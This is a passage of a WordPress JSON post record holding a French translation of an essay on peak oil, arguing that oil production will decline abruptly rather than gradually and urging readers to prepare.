p\u00e9troli\u00e8res prenant en compte la consommation croissante de p\u00e9trole par les pays producteurs eux-m\u00eames.<\/p>\n<\/div>\n<p>Premi\u00e8rement, le profil de la production globale post-pic p\u00e9trolier dans le sc\u00e9nario rose est bas\u00e9 sur des r\u00e9serves estim\u00e9es qui ont \u00e9t\u00e9 exag\u00e9r\u00e9es. Une grande partie du p\u00e9trole restant est au Moyen-Orient, dans les pays de l&rsquo;OPEP13, et ces pays ont exag\u00e9r\u00e9 leurs r\u00e9serves de grandes et variables quantit\u00e9s durant la <q>guerre des quotas14<\/q> de l&rsquo;OPEP, dans les ann\u00e9es 1980. Pendant que d&rsquo;autres membres de l&rsquo;OPEP cuisinaient honteusement des chiffres bidons qui semblaient vaguement r\u00e9els, Saddam Hussein, qui avait toujours \u00e9t\u00e9 un peu frimeur, arrondissait les r\u00e9serves irakiennes jusqu&rsquo;\u00e0 un joli chiffre rond\u00a0: cent milliards de barils. Et ainsi les r\u00e9serves de l&rsquo;OPEP se trouv\u00e8rent gonfl\u00e9es d&rsquo;une grande quantit\u00e9 \u2014 environ un tiers au minimum. L&rsquo;OPEP n&rsquo;est pas non plus la seule a exag\u00e9rer ses r\u00e9serves estim\u00e9es. Les compagnies d&rsquo;\u00e9nergies aux \u00c9tats-Unis jouent \u00e0 peu pr\u00e8s le m\u00eame jeu afin de satisfaire Wall Street. Mettez de c\u00f4t\u00e9 vos chaussons de salle de bain\u00a0; pour n\u00e9gocier la pente descendante du pic p\u00e9trolier vous aurez besoin d&rsquo;un bon \u00e9quipement d&rsquo;alpinisme.<\/p>\n<p>Deuxi\u00e8mement, il y a un ph\u00e9nom\u00e8ne appel\u00e9 <q>effet des pays exportateurs15<\/q>\u00a0: les pays exportateurs, quand leur production commence \u00e0 faiblir, ont une forte tendance \u00e0 r\u00e9duire les exportations avant de r\u00e9duire la consommation int\u00e9rieure. Certainement, il y a des pays qui ont abandonn\u00e9 la souverainet\u00e9 sur leurs ressources aux compagnies d&rsquo;\u00e9nergie internationales et ont perdu le contr\u00f4le de leur politique d&rsquo;exportation. Il y a aussi des r\u00e9gimes despotiques qui n&rsquo;affament leurs consommateurs domestiques que pour continuer \u00e0 gagner les revenus de l&rsquo;exportation n\u00e9cessaires au soutien du r\u00e9gime. Mais la plupart des r\u00e9gimes n&rsquo;exporteront que leur production en surplus. Cela signifie qu&rsquo;il deviendra impossible d&rsquo;acheter du p\u00e9trole internationalement longtemps avant que tous les puits soient \u00e0 sec, laissant choir les pays importateurs de p\u00e9trole. Par cons\u00e9quent, si vous vivez dans un pays importateur de p\u00e9trole et pensiez pouvoir n\u00e9gocier la pente descendante du pic p\u00e9trolier dans vos chaussures de randonn\u00e9e, mettez-les de c\u00f4t\u00e9. Vous aurez besoin d&rsquo;un parachute.<\/p>\n<div>\n<p>16. Energy Returned on Energy Invested. Le taux de retour \u00e9nerg\u00e9tique est le rapport entre l&rsquo;\u00e9nergie utilisable obtenue par un certain processus de production et l&rsquo;\u00e9nergie d\u00e9pens\u00e9e par ce processus.<\/p>\n<\/div>\n<p>Troisi\u00e8mement, bien que les quantit\u00e9s totales de p\u00e9trole produites \u00e0 travers le monde se soient accrues jusqu&rsquo;en 2005, les quantit\u00e9s de produits p\u00e9troliers (essence, gazole, etc.) livr\u00e9es \u00e0 leur point d&rsquo;utilisation ont atteint leur pic plus t\u00f4t, en terme d&rsquo;\u00e9nergie utilisable d\u00e9riv\u00e9e. Cela parce que de plus en plus d&rsquo;\u00e9nergie est requise pour tirer du sol un baril de p\u00e9trole et pour le raffiner. La production de p\u00e9trole brut disponible tend \u00e0 devenir plus difficile \u00e0 extraire, plus lourde et plus charg\u00e9e en soufre, et cela plus la demande croissante d&rsquo;essence (par opposition aux distillats ou au mazout) avec moins de plomb pour doper l&rsquo;octane revient \u00e0 gaspiller davantage d&rsquo;\u00e9nergie. Le taux de retour \u00e9nerg\u00e9tique (EROEI16) est pass\u00e9 de cent pour un \u00e0 l&rsquo;aube de l&rsquo;\u00e2ge du p\u00e9trole, quand quelques gars costauds pouvaient vous creuser un puits de p\u00e9trole en utilisant des pelles et des pioches, \u00e0 dix pour un, maintenant que la production p\u00e9troli\u00e8re n\u00e9cessite des plates-formes en eaux profondes (qui parfois explosent et empoisonnent des \u00e9cosyst\u00e8mes entiers), du forage horizontal et de la technologie de fracturation, de la r\u00e9cup\u00e9ration secondaire et tertiaire en utilisant de l&rsquo;injection d&rsquo;eau et d&rsquo;azote, des usines de s\u00e9paration de l&rsquo;eau et du p\u00e9trole, et toutes sortes d&rsquo;autres complexit\u00e9s techniques qui consomment de plus en plus de l&rsquo;\u00e9nergie qu&rsquo;elles produisent. \u00c0 mesure que l&rsquo;EROEI d\u00e9cro\u00eet de dix pour un vers un pour un, l&rsquo;industrie p\u00e9troli\u00e8re en vient \u00e0 ressembler \u00e0 une nourrice ob\u00e8se mais avide su\u00e7ant voracement son propre sein au chevet d&rsquo;un enfant affam\u00e9. \u00c0 un certain point il ne sera plus \u00e9conomiquement possible de livrer du gazole ou de l&rsquo;essence \u00e0 une station-service. Quand ce moment viendra n&rsquo;est pas certain, mais il y a des indices que trois pour un est l&rsquo;EROEI minimum dont l&rsquo;industrie p\u00e9troli\u00e8re a besoin pour se maintenir. L&rsquo;effet de l&rsquo;EROEI d\u00e9croissant est de rendre la douce pente du sc\u00e9nario rose beaucoup plus raide. La pente ne ressemble plus \u00e0 un monticule de cailloux \u2014 plut\u00f4t \u00e0 de la lave coulant dans la mer et se solidifiant dans un nuage de vapeur. Il reste peut-\u00eatre beaucoup d&rsquo;\u00e9nergie, mais une grande partie va partir en fum\u00e9e, et vous risquez ne pas pouvoir vous approcher assez pour y r\u00f4tir votre guimauve.<\/p>\n<p>Quatri\u00e8mement, nous devons consid\u00e9rer le fait que notre industrie p\u00e9troli\u00e8re moderne globale est hautement int\u00e9gr\u00e9e. Si vous avez besoin d&rsquo;une certaine pi\u00e8ce sp\u00e9cialis\u00e9e pour vos op\u00e9rations de forage, il y a des chances que vous ne puissiez vous la procurer que par une ou deux soci\u00e9t\u00e9s globales. Il y a des chances que cette soci\u00e9t\u00e9 ait des op\u00e9rations tr\u00e8s importantes et hautement techniques dans un pays qui se trouve justement \u00eatre un importateur de p\u00e9trole. L&rsquo;importance de cela devient claire quand on consid\u00e8re ce qui arrive aux op\u00e9rations de cette soci\u00e9t\u00e9 une fois que l&rsquo;effet des pays exportateurs se fait sentir. Supposez que vous soyez une compagnie p\u00e9troli\u00e8re nationale dans un pays riche en p\u00e9trole qui a encore assez de p\u00e9trole pour sa consommation int\u00e9rieure, bien qu&rsquo;elle ait \u00e9t\u00e9 r\u00e9cemment forc\u00e9e de renvoyer tous ces clients internationaux. Vos champs p\u00e9trolif\u00e8res sont immenses mais parvenus \u00e0 maturit\u00e9, et vous ne pouvez les garder en production qu&rsquo;en forant de nouveaux puits horizontaux juste au dessus du niveau d&rsquo;eau toujours montant et en maintenant la pression dans le puits en injectant de l&rsquo;eau de mer en dessous. Si vous arr\u00eatez ou interrompez seulement cette activit\u00e9, alors votre p\u00e9trole, \u00e0 la t\u00eate du puits, va rapidement changer de composition, de p\u00e9trole contenant un peu d&rsquo;eau \u00e0 eau contenant un peu de p\u00e9trole, que vous pourriez tout aussi bien repomper dans le sol. Et maintenant il s&rsquo;av\u00e8re que l&rsquo;\u00e9quipement dont vous avez besoin pour continuer \u00e0 forer des puits horizontaux provient de l&rsquo;un de ces pays malchanceux qui importaient votre p\u00e9trole mais ne peuvent plus \u00e0 pr\u00e9sent, et que les techniciens qui construisaient votre \u00e9quipement ont cess\u00e9 d&rsquo;essayer de trouver assez d&rsquo;essence au march\u00e9 noir pour conduire jusqu&rsquo;au travail et sont occup\u00e9s \u00e0 b\u00eacher leur jardin de banlieue pour y faire pousser des patates. Peu de temps apr\u00e8s, vos op\u00e9rations de forage tombent \u00e0 cours de pi\u00e8ces d\u00e9tach\u00e9es, votre production de p\u00e9trole s&rsquo;effondre, et la plupart de vos r\u00e9serves restantes sont laiss\u00e9es sous terre, contribuant \u00e0 une cat\u00e9gorie de r\u00e9serves de plus en plus importante\u00a0: les r\u00e9serves qui ne produiront jamais.<\/p>\n<p>Lorsque ces quatre facteurs sont consid\u00e9r\u00e9s ensemble, il devient difficile d&rsquo;imaginer que la production globale de p\u00e9trole puisse doucement glisser depuis une imposante hauteur en une courbe lisse et gracieuse s&rsquo;\u00e9tendant sur plusieurs d\u00e9cennies. L&rsquo;image qui se pr\u00e9sente est plut\u00f4t celle d&rsquo;un d\u00e9clin en marches d&rsquo;escalier se produisant dans de plus en plus d&rsquo;endroits, et comprenant finalement toute la plan\u00e8te. Qui que vous soyez, et o\u00f9 que vous soyez, vous le ressentirez probablement comme un processus en trois \u00e9tapes\u00a0:<\/p>\n<p>\u00c9tape\u00a01\u00a0: Vous avez votre niveau d&rsquo;acc\u00e8s actuel aux carburants de transports et aux services.<\/p>\n<p>\u00c9tape\u00a02\u00a0: Vous avez un niveau d&rsquo;acc\u00e8s aux carburants de transports et aux services s\u00e9v\u00e8rement limit\u00e9.<\/p>\n<p>\u00c9tape\u00a03\u00a0: Vous n&rsquo;avez pas acc\u00e8s aux carburants de transports et vos choix de transport sont s\u00e9v\u00e8rement restreints.<\/p>\n<p>La dur\u00e9e de l&rsquo;\u00e9tape\u00a02 variera d&rsquo;un endroit \u00e0 l&rsquo;autre. Certains endroits pourraient passer directement \u00e0 l&rsquo;\u00e9tape\u00a03\u00a0: les camions-citerne cessent de venir dans votre ville, toutes les stations-service ferment, et c&rsquo;est tout. \u00c0 d&rsquo;autres endroits, un march\u00e9 noir prosp\u00e8re pourrait donner acc\u00e8s \u00e0 l&rsquo;essence pour quelques ann\u00e9es de plus, \u00e0 des prix qui permettront certains usages, tels que faire tourner un g\u00e9n\u00e9rateur \u00e9lectrique dans un centre d&rsquo;urgence. Mais votre capacit\u00e9 de vous d\u00e9brouiller avec succ\u00e8s \u00e0 l&rsquo;\u00e9tape\u00a02, et de survivre \u00e0 l&rsquo;\u00e9tape\u00a03, sera largement d\u00e9termin\u00e9e par les changements et pr\u00e9paratifs que vous serez capable de faire durant l&rsquo;\u00e9tape\u00a01.<\/p>\n<div>\n<p>17. Dans le texte\u00a0: <em>homestead<\/em>. Historiquement, ce serait une ferme de moins de soixante-cinq hectares\u00a0; dans le contexte actuel, une maison entour\u00e9 d&rsquo;un terrain cultiv\u00e9 en potager au lieu de pelouse tondue m\u00e9rite d\u00e9j\u00e0 cette appellation. On peut visiter \u00e0 titre d&rsquo;exemple le site <a href=\"http:\/\/urbanhomestead.org\/\" target=\"_blank\">Urban Homestead<\/a>.<\/p>\n<p>18. Dans le texte\u00a0: <q>off the grid<\/q>, c&rsquo;est \u00e0 dire non raccord\u00e9 aux r\u00e9seaux d&rsquo;\u00e9lectricit\u00e9, de gaz et d&rsquo;eau courante.<\/p>\n<p>19. Une bicyclette ou un tricycle construit autour d&rsquo;un plateau ou d&rsquo;un bac pour le transport d&rsquo;objets divers, ou un v\u00e9lo ordinaire accoupl\u00e9 \u00e0 une remorque.<\/p>\n<\/div>\n<p>On devrait s&rsquo;attendre \u00e0 ce que la grande majorit\u00e9 des gens n&rsquo;aient rien fait pour se pr\u00e9parer, demeurant tout \u00e0 fait ignorants du fait que c&rsquo;est quelque chose qu&rsquo;ils auraient d\u00fb faire. On peut s&rsquo;attendre \u00e0 ce qu&rsquo;un bon nombre de gens aient fait quelques petits pas dans une direction judicieuse, tels qu&rsquo;installer un po\u00eale \u00e0 bois, ou isoler leur maison, ou dans une direction apparemment judicieuse mais finalement inutile, tels que gaspiller leur argent dans une nouvelle voiture hybride ou leur \u00e9nergie en essayant de former un nouveau parti politique ou d&rsquo;influencer l&rsquo;un de ceux qui existent. Certains ach\u00e8teront une fermette17, l&rsquo;\u00e9quiperont pour une vie en site isol\u00e918, commenceront de faire pousser leur propre nourriture (peut-\u00eatre en transportant leurs surplus p\u00e9rissables jusqu&rsquo;\u00e0 un march\u00e9 proche en cargo-v\u00e9lo19 ou en bateau), et d&rsquo;instruire leurs enfants \u00e0 la maison, en insistant sur les classiques et sur l&rsquo;agriculture, l&rsquo;\u00e9levage et autres connaissances durablement utiles. Certains fuiront vers un lieu o\u00f9 les carburants de transport sont d\u00e9j\u00e0 rares, et o\u00f9 une mobylette est consid\u00e9r\u00e9e comme un moyen d&rsquo;\u00e9conomiser du travail \u2014 \u00e0 son \u00e2ne ou \u00e0 son chameau.<\/p>\n<p>Malheureusement, il est difficile de pr\u00e9voir quels changements et adaptations r\u00e9ussiront et lesquels \u00e9choueront, car il y a tant qui d\u00e9pend des circonstances, lesquelles sont assur\u00e9ment impr\u00e9visibles et varient d&rsquo;un endroit \u00e0 un autre, et selon la personne ou les personnes impliqu\u00e9es\u00a0: l&rsquo;incertitude est simplement trop grande. Mais il y a une chose dont nous pouvons \u00eatre tout \u00e0 fait certains\u00a0: le sc\u00e9nario rose du pic p\u00e9trolier, qui projette un d\u00e9clin long et graduel de la production globale de p\u00e9trole, est absurde. Conna\u00eetre ce fait devrait communiquer un sentiment d&rsquo;urgence. Que nous utilisions ce sentiment d&rsquo;urgence stupidement ou avec sagesse d\u00e9pend de nous, et notre succ\u00e8s sera peut-\u00eatre une question de chance, mais avoir un sentiment d&rsquo;urgence n&rsquo;est pas du tout mauvais. Si nous souhaitons nous pr\u00e9parer, nous avons tr\u00e8s probablement plusieurs mois, nous avons peut-\u00eatre quelques ann\u00e9es, mais nous n&rsquo;avons certainement pas quelques d\u00e9cennies. Que ceux qui voudraient vous faire croire autre chose consid\u00e8re d&rsquo;abord les points que j&rsquo;ai soulev\u00e9 dans cet article\u00a0\u2022<\/p>\n<div>Traduit et reproduit avec l&rsquo;aimable autorisation de l&rsquo;auteur. Les notes en marge sont du traducteur.<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Le baratin mercatique sur la quatri\u00e8me de couverture de la premi\u00e8re \u00e9dition de mon premier livre, R\u00e9inventer l&rsquo;effondrement, me d\u00e9crivait comme un th\u00e9oricien majeur du pic p\u00e9trolier. Quand je l&rsquo;ai vu la premi\u00e8re fois, ma m\u00e2choire est tomb\u00e9e \u2014 et &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=7624\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,33],"tags":[],"class_list":["post-7624","post","type-post","status-publish","format-standard","hentry","category-documents-les-supplements","category-soutiens-du-ppld"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7624","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7624"}],"version-history":[{"count":2,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7624\/revisions"}],"predecessor-version":[{"id":7626,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7624\/revisions\/7626"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7624"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7624"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7624"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}